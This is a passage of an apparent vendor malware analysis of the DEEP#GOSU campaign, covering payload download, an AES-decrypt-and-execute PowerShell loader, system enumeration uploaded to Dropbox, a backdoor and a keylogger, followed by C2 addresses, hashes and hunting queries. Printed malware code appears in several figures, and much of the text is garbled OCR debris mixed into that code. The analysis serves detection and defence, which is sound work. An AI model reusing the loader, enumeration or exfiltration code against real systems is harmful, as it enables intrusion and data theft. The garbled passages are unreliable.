RRRRRRRRRR R:RRRRR RR:R R:R R:R Su B:R Su	RRRRR EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE	H H H. HR HR K 555555555555555555555555555555555555	R: RRRRREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE	AAA AAA A:::A A::::A A:::::A A:::::A A:::::A	AA AAAAA RRRRRRRRRRRR R:RRRRRRR R:RRRRRRR RRR RRR RRR RR RR RR RR RR RR RR	Ссссссссссскинниннин ССС::::::::::::::::::::::::::::	HHHHHHH H : H : H : H : H : H :
R::::R R:::R R:::R RR:::R RR::R RR::R R:::R R:::R RRRRRR	WPProc(reg_cmd)           rd Sub           R::::::::::::::::::::::::::::::::::::	SSSSSSS S:::::S S::::S SSSSS SSSSSS SSSSSSSS	EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	R: R R R: R R: R R: R R: R R: R R R	КС:::::C И::::: КС::::C СССССС И:::::И СС::::CCCCCCCC::::CH::::::H СС::::CCCCCCCC::::CH::::::H СС::::CCCCCCCCC:::CH::H	

Figure 13: Stage 5 VBScript execution - Reg and Reg1 functions

#### Remote payload download

At this point the script checks the version of the operating system and branches its behavior accordingly. For OS versions prior to Windows 10, it uses Internet Explorer functionality to download and execute a script fetched from a remote server at

hxxp://gbionet[.]com/inc/basl/up1/list.php?query=6

After contacting the URL above, the script captures the "innerText" of the page's body, which is the text content of the response from the server, excluding any HTML tags.

For systems running Windows 10 or later, it uses a PowerShell script which is saved into a single VBScript variable to download and execute a payload from Dropbox using similar methods we witnessed prior.



Figure 14: Stage 5 VBScript execution - Next stage download

The inclusion of Google Docs URLs in the PowerShell script encapsulated within the psTxt variable is a method used to dynamically retrieve configuration data for the Dropbox connection. This could be useful for when payloads, or Dropbox account data needs to be changed, without having to change the script itself.

As we witnessed previously, the PowerShell script uses a hard-coded password (pa55w0rd), and then executes the decrypted content. This also helps reduce the malware's detection footprint. Using these types of services to fetch configuration data or payloads can blend in with legitimate network traffic, reducing the likelihood of network-based detection.

:::::S	"\$streamReader = New-Object System.IO.StreamReader(\$receiveStream);" & _	X X:::::X :X X:::::X
:::: <b>\$</b>	" \$im = New-Object System.IO.MemoryStream;" & _	::X X:::::X :::X:::::X
SS::::::SSSSS	"\$buffer = New-Object byte[] 1024;" & _	·····X
\$\$\$\$\$\$\$\$\$\$\$	"\$read = 0;" &	:::X:::: <b>X</b>
Store		::X X:::::X
SSSSS States	"\$read = \$receiveStream.Read(\$buffer, 0, \$buffer.Length);"&	X X:::::XX
::::: <b>::::</b>	"\$im.Write(\$buffer, 0, \$read);" &	
<b>SSSSSSSS</b> SSSSS	"} while (\$read -gt 0);" &	X000000
11	"\$om=New-Object MemoryStream;" &	
	"\$s=New-Object Byte[](32);" &	
T	"\$im.Seek(0, [System.IO.SeekOrigin]::Begin);" & _	
	"\$len=\$im.Read(\$s,0,\$s.Length);" & _	
	"if(\$len -ne \$s.Length){exit;}" & _	
	"\$pwd="" & pwd & "';" &	
	"\$pb=New-Object Rfc2898DeriveBytes(\$pwd, \$s);" & _	
	"\$key=\$pb.GetBytes(32);" & _	
	"\$iv=\$pb.GetBytes(16);" & _	
	"\$c=New-Object AesManaged;" & _	
	"\$dec=\$c.CreateDecryptor(\$key,\$iv);" & _	
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR	"\$cm=New-Object CryptoStream(\$im,\$dec,[CryptoStreamMode]::Read);" & _	нини инини
::::::::::::::::::::::::::::::::::::::	"\$cm.CopyTo(\$om);" &	HILLIN HILLIN
R::::	"\$om.Dispose();" &	COR HILLS
RIIIR RIII	"\$decbytes=\$om.ToArray();" & _	Hereit
R::::RRRRRR::::	"\$cmd=[System.Text.Encoding]::ASCII.GetString(\$decbytes);" & _	::::HHHHH:::::::
R::::RRRRR::::	\$cmd=_\$cmd.replace(""???"","""");" &	
R::::R R::::	"iex -command \$cmd;" &	
R::::R R:::	"icm -script \$scblock -args \$uh,\$pwd;}"	Hereit
R:::::R R:::::::::::::::::::::::::::::		Harts

Figure 15: Stage 5 VBScript/PowerShell execution - invoke next stage

The decrypted content uses a predefined password and AES decryption. Since the downloaded content is encrypted another layer of protection against detection is added.

Interestingly enough, the \$uh variable is not defined anywhere in the script. This is used by the Invoke-Command alias (icm) to execute a PowerShell scriptblock. This could be a mistake by the malware authors, or used in context with other more broad malware operations where it could be used with portions of code not included in the samples identified by the team.

Lastly, the decrypted content is then executed directly in memory using a PowerShell invoke-expression, which leads us into Stage 6!

### Stage 6: PowerShell execution – system enumeration [T1082]

Circling back to PowerShell, the next script that gets executed is an interesting script which attempts to enumerate the victim system as much as it can. Once again, Dropbox is used, however rather than downloading the next-stage payload, it issues a carefully-crafted POST request to submit its enumeration findings.

As you can see in the data below, it formats the data into sections with headers containing plus signs on either side of the header text.

<pre>Systemine = Systemine = Systemine = ArrayToString(SysInfo + "'n'n'n'n'' SupDate = "+++++++++++ Task Detail ++++++++++ "n'' + StysInfo + "'n'n'n'n'' SupDate = "+++++++++++ Task Detail ++++++++++ 'n'' + Stasklist_v; + "'n'n'n''; Stasklist_v = tasklist; Stasklist_v = ArrayToString(Stasklist_vc); SupDate = "+++++++++ Task Detail ++++++++++'n'' + Stasklist_vc + "'n'n'n''; Stasklist_vc = tasklist; Stasklist_vc = ArrayToString(Stasklist_vc); SupDate = "++++++++++ Task Service ++++++++++'n'' + Stasklist_vc + "'n'n'n''; Stasklist_vc = tasklist; Stasklist_vc = ArrayToString(Stasklist_vc = 'n'n'n''; Stasklist_vc = tasklist; Stasklist_vc = ArrayToString(Stasklist_vc = 'n'n''n''; SupDate = "+++++++++ Firewall status +++++++++'n'' + \$firewall_st + "n''n''; SupDate = "+++++++++ Firewall Status ++++++++++'n'' + \$firewall_st + "n''n''; SupDate = "+++++++++ Firewall Status +++++++++++'n'' + \$firewall_st + "n''n''; Sav_soft = "'; Sav_soft = "'; Sav_soft = "'; Satatus = Get-MeiObject - NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct"; if( \$status - Get/MeiObject - NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct"; if( \$statu</pre>	X:::::X
<pre>StaskList_v = taskList; StaskList_v = ArrayToString(StaskList_v); StapDate == "+++++++++++++ Task Detail ++++++++++++ rn " + StaskList_v + " rn "n "rn"; SupDate == "++++++++++ Task Service +ArrayToString(StaskList_svc + " rn "n"; SupDate == "++++++++++ Fareall Status ++++++++++ rn " + StaskList_svc + " rn "n"; StarList_svc = ArrayToString(StarList_vc + " rn rn "n"; StarList_u = Get.WiODject -NameSpace "ROOT\SecurityCenter" -class "AntiVirusProduct"; if (Status -ne Snatl) { SupDate == "+++++++++++ AntiVirus +++++++++++"rn" + Sav_soft + " rn "n"; Sav_soft = ""; Status = Get.WiODject -NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct"; if (Status -ne Snatl) { SupDate == "+++++++++++ AntiVirus +++++++++++"rn" + Sav_soft + " rn"; Satus = Get.WiODject -NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct"; if (Status -ne Snatl) { SupDate == "++++++++++++ AntiVirus +++++++++++rn" n" + Sav_soft + " rn"; Satus = Get.WiODject -NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct"; if (Status -ne Snatl) { SupDate = Satus.GetText([System.Management.TextFormot]::Mof); } supDate = Senv:Seprofile; Sapdate = Senv:Seprofile; Sapdate = Senv:Seprofile; Sapdate = Senv:Seprofile; SupDate = " ListDir -Desktop", "Suser_dir\Documents", "Suser_dir\Downloads", "Sappdata\Wicrosoft\Windows\F SupDate = ListDir -Desktop", "Suser_dir\Documents", rn rn"; SupDate = ListDir -Desktop", "Suser_dir\Documents", rn rn rn"; SupDate = ListDir -Desktop", "Suser_dir\Documents", "Suser_dir\Downloads", "Sappdata\Wicrosoft\Windows\F</pre>	::X X::::X :::X X::::X ::::X X::::X00X
<pre>Stasklist_avc = tasklist /svc; Stasklist_avc = ArrayToString(Stasklist_avc); SupData == "+++++++++ Task Service ++++++++++ n" n" + Stasklist_avc +" n" n" n"; SupData == "++++++++ Task Service +++++++++ n" + Stasklist_avc +" n" n"n"; SupData == "+++++++++ Task Service ++++++++ n" + Starewall_st + "n" n"n"; SupData == "+++++++++ Antiver == "Stastus Service + "n" n" n"; SupData == "++++++++++ Antiver == "Stastus Service + "n" n"; SupData == "+++++++++++ Antiver Space "ROOT\SecurityCenter" -class "Antiver Product"; if(Status = Status.GetText[[System.Monagement.TextFormat]::Mof); } SupData == "++++++++++++++ AntiVirus +++++++++++n" n" + \$av_soft + "n" n"; Sav_soft2 = "; Satus = Cet-MmiDbject -NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct"; if(Status = Cet.SecurityCenter2" -class "AntiVirusProduct"; if(Status = Cet.SecurityCenter2" -class "AntiVirusProduct"; if(Status = Cet.SecurityCenter2" -class "AntiVirusProduct"; if(Status = Cet.SecurityCenter2" -class "AntiVirusProduct"; if(Status = SecurityCenter2" -class "AntiVirusProduct"; if(Status = SecurityCenter2" -Status -CetTextFormat]:Mof); SupData == SecurityCenter2" -Status -CetTextFormat]:Mocosoft\Windows\N foreach(Spath in Spath ins) { SupData = ListOir -Path Spath; SupData = ListOir -Path Spath; Su</pre>	X::::X::::X X::::X X::::X
<pre>\$firewall_st = Netsh Advfirewall show allprofiles; \$firewall_st = ArrayToString(\$firewall_st); \$upData += ********** Firewall Status ************************************</pre>	X:::::X :::::X :::::X ::::X X::::::X0X ::::X X:::::X0X
<pre>\$av_soft = ""; \$status = Get.WinObject NameSpace "ROOT\SecurityCenter" -class "AntiVirusProduct"; if( \$status.ex for intervention of the status interve</pre>	::X X::::X ::X X::::X DOOX X00000X
<pre>} Juneont = 'piritariou'rear([=)piritariou'rear() = 'Aw_soft + "'n'n'; SupData = "+++++++++++++++++++++++++++++++++++</pre>	
<pre>\$av_soft2 = ""; \$tatus = Get-MHODbject -NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct"; if( \$status = ne \$null ) {</pre>	
<pre>} y y y y y y y y y y y y y y y y y y y</pre>	
<pre>Suser_dir = \$env:userprofile; \$env:a \$papdata = \$env:uPPDATA; Re:::a \$path_list = {g"Suser_dir\Desktop", "\$user_dir\Documents", "\$user_dir\Downloads", "\$appdata\Microsoft\Windows\f Re:::a \$path_list = {g"Suser_dir\Desktop", "\$user_dir\Documents", "\$user_dir\Downloads", "\$appdata\Microsoft\Windows\f Re:::a \$path_list = {g"Suser_dir\Desktop", "\$user_dir\Documents", "\$user_dir\Downloads", "\$appdata\Microsoft\Windows\f Suser_dir_dir_dir_dir_dir_dir_dir_dir_dir_di</pre>	нанан <b>на инини</b> и
<pre>provide = provide = p</pre>	
	ecent ,
R::::R R::::R R::::R SunData dw ListDrives:	на се се синини се се си на се се и на се се си на се се и на се се си
<pre>Byte[]]\$bytes2enc = [System.Text.Encoding]::UTF8.GetBytes(\$upData);</pre>	Harris H Harris H

Figure 16: Stage 6 PowerShell system enumeration example

The script enumerates the following items:

- Running processes (tasklist)
- Firewall status for all profiles (Netsh Advfirewall show allprofiles)
- Registered antivirus products via Security Center (AntiVirusProduct class from ROOT\SecurityCenter and ROOT\SecurityCenter2 namespaces)
- User profile directories:
  - Desktop (\$user\_dir\Desktop)
  - Documents (\$user\_dir\Documents)
  - Downloads (\$user\_dir\Downloads)
- Application data and start menu programs:
  - Recent documents (\$appdata\Microsoft\Windows\Recent)
  - Start Menu Programs (\$appdata\Microsoft\Windows\Start Menu\Programs)

- Program files directories:
  - Default Program Files (\$env:ProgramFiles)
  - Program Files (x86) for 64-bit systems (\$env:ProgramFiles(x86))
- All drives and their content, including:
  - Drive label, type, format
  - Directories and files within each accessible drive

Once the information is gathered it encrypts the data using AES functions similar to that of the AES decrypt functions we discussed earlier. The script then constructs an HTTP POST request to upload encrypted data. The script attempts to refresh an OAuth token for Dropbox using a client ID, secret, and refresh token, then uses this token to authorize an upload to Dropbox.



Figure 17: Stage 6 PowerShell upload enumeration data

## Stage 7: stealth and persistence in PowerShell [T1041]

If you recall, this script is created and saved to the disk from Stage 5

(\appdata\roaming\microsoft\windows\w568232.ps1). The purpose of this script appears to be designed to serve as a tool for periodic communication with a command and control (C2) server via Dropbox. Its main purposes include encrypting and exfiltrating or downloading data.

Most of the script once again contains PowerShell code for handling Dropbox connections and AES encryption/decryptors however there are a few interesting functions worth mentioning.



Figure 18: stage 7 various functions inside w568232.ps1

To ensure persistent, stealthy operation, it contains unique functions for both mutex-based singleton execution (\$bMute) and variable intervals for network connectivity (GetTimeInterval). The time is set to a random interval between 10000 seconds (2.78 hours). Essentially, the script acts as a versatile backdoor that allows attackers to continuously monitor and control their infected systems.

#### Stage 8: Keylogging [T1056.001]

The purpose of this (and final) script is to act as a keylogging and clipboard monitoring component to monitor and log user activity on the compromised system.

It achieves this by first obtaining access to Windows native APIs using .NET assemblies, and then using the Add-Type PowerShell module to call the Core class within the session. The script uses some targeted variable substitution obfuscation throughout the defined strings.



Figure 19: stage 8 obfuscated .NET assemblies

The script uses functions such as GetAsyncKeyState to monitor the state of individual keys on the keyboard, capturing key presses and releases.



Figure 20: stage 8 PowerShell keylogging functions

The PowerShell script includes functionality to monitor and log changes in the clipboard content. It does this by using the GetClipboardSequenceNumber function to retrieve the current clipboard sequence number, which changes anytime the content of the clipboard changes.

It then compares the current clipboard sequence number in \$curClip with the previously stored sequence number in \$oldClip. If they differ, it indicates the clipboard content has changed. If the format is verified as "text" it then uses [Windows.Clipboard]::GetText() to retrieve the new clipboard text.

Lastly, it appends the content into the \$Path (Version.xml) variable using [System.IO.File]::AppendAllText.



Figure 21: stage 8 PowerShell clipboard monitoring

#### Additional functionality:

- Window monitoring: It uses both GetForegroundWindow and GetWindowText to track the active window and its title, enabling the script to log which application the user is interacting with alongside the captured keystrokes or clipboard.
- System tick count: GetTickCount is also used to manage the timing of log entries (clipboard, keystrokes, etc), ensuring that entries are spaced out and potentially reducing the volume of logged data to focus on periods of activity.
- Encoding and file writing: All of the captured data is saved into the variable path \$Path ("\$env:appdata\Microsoft\Windows\Themes\version.xml"), using UTF-8 encoding (created and exfiltrated in stage 7.)

# Wrapping up...

The malware payloads used in the DEEP#GOSU represent a sophisticated, multi-stage threat designed to operate stealthily on Windows systems especially from a network-monitoring standpoint. It relied on both PowerShell and VBScript for its execution which interestingly enough used very minimal obfuscation. Each stage was encrypted using AES and a common password and IV which should minimize network, or flat file scanning detections.

Its capabilities included keylogging, clipboard monitoring, dynamic payload execution, and data exfiltration, and persistence using both RAT software for full remote access, scheduled tasks as well as self-executing PowerShell scripts using jobs.

# Securonix recommendations

Since many malware infections begin outside the organization, exercise caution especially around unsolicited emails, especially when the email is unexpected or employs a sense of urgency. When it comes to prevention and detection, the Securonix Threat Research Team recommends:

- Avoid downloading files or attachments from external sources, especially if the source was unsolicited.
- Monitor common malware staging directories, especially script-related activity in world-writable directories. In the case of this campaign the threat actors staged in subdirectories in %APPDATA%
- Since all of the network communication in the DEEP#GOSU campaign is encrypted and employs legitimate services such as Dropbox or Google Docs, we strongly recommend deploying robust endpoint logging capabilities. This includes leveraging additional process-level logging such as <u>Sysmon and PowerShell logging</u> for additional log detection coverage.
- Securonix customers can scan endpoints using the Securonix hunting queries below.

# C2 and infrastructure

#### C2 Address

https://content.dropboxapi.com/2/files/download/step2/ps.bin

https://content.dropboxapi.com/2/files/download/step2/r\_enc.bin

https://content.dropboxapi.com/2/files/download/step2/info\_sc.txt

https://content.dropboxapi.com/2/files/download/step2/info\_ps.bin

https://content.dropboxapi.com/2/files/download/step2/ad\_ps.bin

https://content.dropboxapi.com/2/files/download/step2/info\_sc.txt

gbionet.com

# **MITRE ATT&CK Matrix**

Tactics	Techniques
Defense Evasion	T1027: Obfuscated Files or Information T1027.010: Obfuscated Files or Information: Command Obfuscation T1070.004: Indicator Removal: File Deletion T1140: Deobfuscate/Decode Files or Information
Discovery	T1057: Process Discovery T1082: System Information Discovery T1083: File and Directory Discovery
Execution	T1059: Command and Scripting Interpreter T1059.001: Command and Scripting Interpreter: PowerShell T1059.005: Command and Scripting Interpreter: Visual Basic T1204.001: User Execution: Malicious Link
Exfiltration	T1567.002 – Exfiltration Over Web Service: Exfiltration to Cloud Storage
Persistence	T1053 – Scheduled Task/Job
Command and Control	T1102: Web Service T1132.001: Data Encoding: Standard Encoding T1219 – Remote Access Software T1573: Encrypted Channel
Collection	T1115 – Clipboard Data T1056.001 – Input Capture: Keylogging

## **Relevant provisional Securonix detections**

- EDR-ALL-623ER
- EDR-ALL-335-RU
- EDR-ALL-336-RU
- EDR-ALL-928-RU

# **Relevant hunting queries**

#### (remove square brackets "[]" for IP addresses or URLs)

- index = activity AND rg\_functionality="Next Generation Firewall" AND requesturl CONTAINS
   "content.dropboxapi[.]com/2/files/download/step2/" AND (requesturl CONTAINS "ps.bin" OR requesturl
   CONTAINS "r\_enc.bin" OR requesturl CONTAINS "info\_sc.txt" OR requesturl CONTAINS "info\_ps.bin" OR
   requesturl CONTAINS "ad\_ps.bin")
- index = activity AND rg\_functionality = "Endpoint Management Systems" AND (deviceaction = "File created" OR deviceaction = "File created (rule: FileCreate)") AND customstring49 ENDS WITH "Appdata\Microsoft\Windows\Themes\version.xml"
- index = activity AND rg\_functionality = "Microsoft Windows Powershell" AND (message CONTAINS "content.dropboxapi[.]com/2/files/download" OR message CONTAINS "content.dropboxapi[.]com/2/files/upload")
- index = activity AND rg\_functionality = "Endpoint Management Systems" AND (deviceaction = "File created" OR deviceaction = "File created (rule: FileCreate)") AND customstring49 CONTAINS "\AppData\Local\Temp\" AND customstring49 CONTAINS ".zip" AND customstring49 ENDS WITH ".Ink"

# Analyzed files/hashes

Name	FILE HASH
IMG_20240214_0001.pdf.lnk	F262588C48D2902992FFD275D2BE6362FE7F02E2F00A44AB8C75AC1A2827C6E9 1617587CCDF5B0344089559ECF8FE7D39F6E07A6A64F74F2B44BFA2C8CB67983

Name	FILE HASH
트레이딩 스파르타코스 강의 안-100불남(2차).zip	46A5D54C264152CE915792AF31C75824A558AF7D7340D78B34E146D8C6249E79
트레이딩_스파르타코스_강 의안_100불남_2차.pdf.lnk	1B75F70C226C9ADA8E79C3FDD987277B0199928800C51E5A1E55FF01246701DB
IMG_20240214_0001.pdf	69C917EA96DB28DBD5B67073CA0AAC234D25651A849171B45F20979EAFA05A1C
PowerShell file hashes	60666CACDD6806ED05771F32EAA719E3EFD2F4DB55F28A447D383C3EAC1DC72E B72CAAB78D164637FEA0937D7A94FC470579EC6BB4FA87DADB6F0FA7826E217C 89CAD9A57985CC0AB3B7403A943AD0AA7B167DC7A3C38557417FEDEA67A77B87

#### **References:**

1. North Korean Advanced Persistent Threat Focus: Kimsuky

https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-301a

- 1. Threat Intelligence Report: Kimsuky <u>https://www.genians.co.kr/hubfs/blogfile/20231030\_threat\_inteligence\_report\_Kimsuky.pdf</u>
- 2. Dark Pink New APT hitting Asia-Pacific, Europe that goes deeper and darker <u>https://www.group-ib.com/blog/dark-pink-apt/</u>
- 3. February 2023 Threat Trend Report on Kimsuky Group https://asec.ahnlab.com/wp-content/uploads/2023/04/ATIP\_2023\_Feb\_Threat-Trend-Report-on-Kimsuky-Group.pdf
- 4. Malware Disguised as HWP Document File (Kimsuky) https://asec.ahnlab.com/en/54736/